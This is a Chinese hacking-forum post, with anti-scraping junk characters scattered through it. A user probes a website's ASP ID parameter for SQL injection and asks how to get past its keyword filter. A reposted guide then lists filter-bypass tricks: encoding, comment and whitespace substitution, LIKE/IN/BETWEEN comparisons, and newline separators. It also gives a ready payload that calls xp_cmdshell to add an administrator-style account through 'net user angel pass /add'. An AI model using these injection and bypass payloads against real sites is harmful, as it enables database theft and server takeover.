路过这个网站,检测了一下.% @0 n q* D4 _' |& k( Q7 d3 ^) a* `; `7 e
http://www.xxx.cn/Article.asp?ID=117 and 1=1; L7 T# b) b( v! L
直接返回主页; W$ w& R0 s& ^
http://www.xxx.cn/Article.asp?ID=117 or 1=1) E3 [4 g/ V. u' Y2 k! }. L
直接返回主页
; K- n! g2 A( V: qhttp://www.xxx.cn/Article.asp?ID=117 or
5 I" F: X/ C0 P没有返回主页 没有过滤or8 ]' _4 K9 r8 B0 b' p5 Q
http://www.xxx.cn/Article.asp?ID=117 and8 j, E+ y; ~: m$ w
直接返回主页 看来过滤了and
8 ^" m% ~& \, x- ^7 o9 I" Ehttp://www.xxx.cn/Article.asp?ID=117 or 1
# |4 W z4 q K没有返回主页 即没有过滤or 也没有过滤18 d3 J7 w$ z" b6 F
http://www.xxx.cn/Article.asp?ID=117 or 1=1
s' y. [1 R9 e/ Q: W直接返回主页 很明显过滤了等号
: |5 c; y+ k' w) T" J. B3 d gor的特性是与and相反的.
# X: B9 X9 b1 P* M% }7 W9 l, ]7 for 1=1 爆错 或与原页面不同) o( j6 `) U7 p5 \! u' J L g9 b1 d
or 1=2 原页面相同
5 ~. Q6 d, \ u, R这样就是一个注入点7 J' p; O8 ~+ f& n; O
但他过滤了=号 我就用><号代替=号吧!
! T, ~( |6 f6 J$ ~2 i3 l2 m bor 1<2 很明显是正确的,所以应该与原页面不同
% R2 C) M% ~4 por 1>2 很明显是错误的,所以应该与原页面相同! j# e, t, \3 ]+ j' \
然后看看有没有过滤其他的查询语句,比如select.
& T) G, t- [% |; B* R% ahttp://www.xxx.cn/Article.asp?ID=117 select- y' q+ F# V( B' t( K$ s
直接返回主页. k! q( P: E- M9 S7 M. F' }
又迷茫了..
& c: S2 H: Z9 }8 ]1 s* C" Q
9 M8 T$ E- w: O0 Z3 ]2 w0 s$ Z9 ?% J
cookies注入.和以下的方法全都试过了,都失败了.还有什么方法可以饶过吗 a, m, {* U3 H) D; y+ ~, i
这个系统我以为是my动力,后台却是这样的http://www.xxx.cn/admin.asp(应该不是假够台吧)9 }7 ^5 }& I u. ~# _) R* o
================================================
) P8 @& D- x2 a7 A2 L以下是转贴:$ e1 g- [) P& ~8 D ]* L/ l6 j
& M% e6 K9 l7 N' w& [
突然想我们是否可以用什么方法绕过SQL注入的限制呢?到网上考察了一下,提到的方法大多都是针对AND与“’”号和“=”号过滤的突破,虽然有点进步的地方,但还是有一些关键字没有绕过,由于我不常入侵网站所以也不敢对上述过滤的效果进行评论,但是可以肯定的是,效果不会很好…… 0 ]) e, a# N! P* N
经过我的收集,大部分的防注入程序都过滤了以下关键字: ) N- E. N+ u3 K. E7 H
and | select | update | chr | delete | %20from | ; | insert | mid | master. | set | =
. n$ j# L# Y" r `0 p2 e而这里最难处理的就是select这个关键字了,那么我们怎样来突破他们呢?问题虽未完全解决,但还是说出来与大家分享一下,希望能抛砖引玉。
# u$ l; q- e) c3 A6 \. Z" s% @对于关键字的过滤,以下是我收集的以及我个人的一些想法。 $ t3 z$ z3 P% q) H1 N! e" T
1、运用编码技术绕过 " b- v H7 n2 S7 m
如URLEncode编码,ASCII编码绕过。例如or 1=1即
p) H/ L. K. v C%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。
/ i6 i) Y6 w; |; V
/ ^6 G2 w [. D6 T* Y) K2、通过空格绕过 9 f; \& P% |. m& c
如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如 . k* J/ b( j9 y" \
or’ swords’ =‘swords’
- E; c0 {. z) N0 X% Q$ r+ ~+ [) W,由于mssql的松散性,我们可以把or ’swords’ 之间的空格去掉,并不影响运行。 $ O' |" V) v6 q/ q
3、运用字符串判断代替 & X( v7 Q( g/ K# Q6 ]! q8 |. Y4 B
用经典的or 1=1判断绕过,如
0 ~' Y {" {. E* xor ’swords’ =’swords’ + I# i% M! q9 d# _0 x
,这个方法就是网上在讨论的。 ' P! Z; b4 D6 H0 g$ p
4、通过类型转换修饰符N绕过
/ [1 v! l. p! f0 m& F0 }# q2 P. J可以说这是一个不错的想法,他除了能在某种程度上绕过限制,而且还有别的作用,大家自己好好想想吧。关于利用,如or ’swords’ = N’ swords’ ,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。
$ M9 f$ q6 K3 B, U5 v% k6 _$ o5、通过+号拆解字符串绕过
( F3 }! j6 Y: \: }效果值得考证,但毕竟是一种方法。如 ; `% G9 j+ L! |: I7 O! @
or ’swords’ =‘sw’ +’ ords’ ;EXEC(‘IN’ +’ SERT INTO ’+’ …..’ )
5 H" k9 e( {# F! j3 e# f3 s6 P5 S2 t! \$ D Y0 K* b& e
6、通过LIKE绕过
, l" c) e+ L, C' ~以前怎么就没想到呢?如or ) I* Z6 ?2 Z6 o! u. Q- D3 s Q
’swords’ LIKE ’sw’ ) i4 N% ~. y# D% C$ ]
!!!显然可以很轻松的绕过 ' H3 ]1 a% E$ q# Y8 j; e* y
“=”“>” ( P- T% M- S+ W6 z$ u
的限制……
$ i/ N4 }6 F4 H& g! t7 {( o' |5 e7、通过IN绕过 / j5 I+ [( y N
与上面的LIKE的思路差不多,如
7 @* _3 _) n+ v5 o3 Uor ’swords’ IN (’swords’)
- B# W4 c4 p3 }7 m N# n% k. i! p4 m
8、通过BETWEEN绕过 0 t4 |$ q/ t6 C' h
如 - B' O6 A; i3 g% b
or ’swords’ BETWEEN ’rw’ AND ’tw’ 4 Z t, ]. S1 k+ V& T
I# C4 }0 S7 }, [0 Y3 _' n9、通过>或者<绕过 , N+ t& \' e) B6 U& R% q
or ’swords’ > ’sw’
4 r: Q& `+ y; D# G G- Dor ’swords’ < ’tw’
- ]+ @1 Q7 D1 Z8 K g' M5 A8 y c, xor 1<3
|+ `9 Q6 A+ x3 p: S……
3 G+ p, ^8 k7 [6 F/ s10、运用注释语句绕过 1 O* X, w* s( r2 q" _
用/**/代替空格,如: ' b$ e+ m3 B4 y7 e- e) m0 u
UNION /**/ Select /**/user,pwd,from tbluser
3 a9 B, }! Z3 V! }
. F! o- O% _% j用/**/分割敏感词,如: 5 z& j( e/ ? W# N$ ~
U/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser
) G' [3 e" |0 n. g. R
1 v6 r$ F+ _1 T1 n2 V11、用HEX绕过,一般的IDS都无法检测出来 6 ]4 C% i5 C8 a& i
0x730079007300610064006D0069006E00 =hex(sysadmin) 4 G1 S! k N" G; M4 y
0x640062005F006F0077006E0065007200 =hex(db_owner) 4 B% s& i! Q6 y; Y
另外,关于通用点的过滤方法,我们可以考虑采用赋值的方法,例如先声明一个变量a,然后把我们的指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下: 0 I$ E" J; @& B7 H" Z, o4 o( H- m
declare @a sysname
+ K: B' n+ ~) O Y select @a=
, Y/ f5 g% s1 Q( H$ }3 v exec master.dbo.xp_cmdshell @a
9 H6 o% q5 Z4 ]+ J效果 3 w" w, y# w; {0 O% a
http://www.ilikeplmm.com/show.asp?id=1;declare%20@a% [email=20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a]20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a[/email];--
8 H# M0 L6 k3 j; M+ [# C8 M0 n0 U: F" D- q; F' z- C4 q1 Y* y- \
其中的 4 s4 T( I& o; l1 s9 Z+ l
0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400 $ s& e5 i! g B2 f- i. h% e
就是 / f2 H. y$ u6 B& }
“net user angel pass /add”+ N- w r) Y' L: h
& u6 t* b# n* h& n$ a$ Q/ N" S一直以来都以为只有空格,tab键和注释符/**/可以用来切割sql关键字,段时间在邪八看了风迅cms注入漏洞那篇帖子,才知道原来回车也可以用来作为分割符(以前竟然没有想到,真是失败)。回车的ascii码是chr(13)&chr(10),至于为什么要两个连在一起,这个我也不知道。转换成url编码形式是%0d%0a,于是就可以用%0d%0a代替空格pass一些过滤空格的检查了。
# S/ g5 H, f/ b6 M; A引申一下,只用%0d能正常执行语句吗?只用%0a呢?测试证明,用任意一种分割在mssql、mysql和access里面都是可以的。% J6 H9 w* G& x+ Q" ~- W- Y
另外,关于mssql的多语句问题。我以前一直以为必须用分号作为语句的结尾,后来发现,完全不是那样。类似! r, K& l3 w* S6 _! G& V
Copy code' A4 t A+ h, p) N( {8 |
select * from table exec xp_cmdshell'xxxxxxxxxx'( N) h8 V1 n/ B; s
2 S7 S( [# r) e) G _" u
) V K- \; ^3 ]' h7 ]7 |7 J$ o5 u6 S3 l
select * from table/**/exec xp_cmdshell'xxxxxxxxxx'
1 [2 V/ c9 ^) x, f% Q
! N& A! h# ]$ B P' f) l3 L! r% A$ v* D; w+ }
select * from table|---tab---|exec xp_cmdshell'xxxxxxxxxx'
1 y8 ~! p" _: o( r" G: w0 Z9 q* E5 y! J1 m) X# P9 _# |
" Z C9 G! v; hselect * from table|---enter---|exec xp_cmdshell'xxxxxxxxxx'
* o; w* u, ^7 Z# s; a. a
- m3 e2 z) Y8 K6 }的语句都是可以正常执行的。而我以前竟然一直不知道!不过这个貌似跟连接数据库驱动有关系,odbc可以正常执行,sqloledb的话就会报错。有兴趣的继续研究吧?
7 F' j; [8 s7 K% p9 Z; b4 A, z, _, n2 f* d9 {3 M
这样,以后遇到带空格过滤关键字的拦截程序,又可以发挥发挥了1 g2 r) H8 h4 a: u, q' q
可能大家早就知道了,不管怎么说,发在这里吧!
/ h( t* n. }! O/ T$ Q
m+ _& w6 v6 C9 J _, J4 ]最近想起可能还有些ascii码可以用来在sql语句中代替空格,于是写个脚本测试了一下,结果在所有128个低位ascii字符中,chr(12)也可以在access里用,不过貌似chr(12)不能出现在and、or之类的关键词附近,原因不清楚。mysql中比access多一个chr(11)可以。至于mssql,挖日,直接从1到32的ascii码换成字符后都可以正常使用。0 K. _ Z" S2 x
1 l+ U: w3 }5 ?3 Z% V! T
8 Y3 U6 O" T) Z' V
; w7 j* o* d: W1 p6 a# R3 A% T1 f
对于中间应该出现空格的地方,用()进行替换,不过,对于很复杂的SQL语句就不太好用了。上面说到的是字符型的,如果是数值型,可以在id=1后加一个括号,不过这个我没有测试,+ w8 G! o$ s0 ^9 w g1 F0 E
比如:jmdcw.asp?id=(1)and(select.....),应该是可行的吧? * g3 s3 m' T6 R8 w d7 y" m) p
: _( F" B+ v/ c% Z, |
|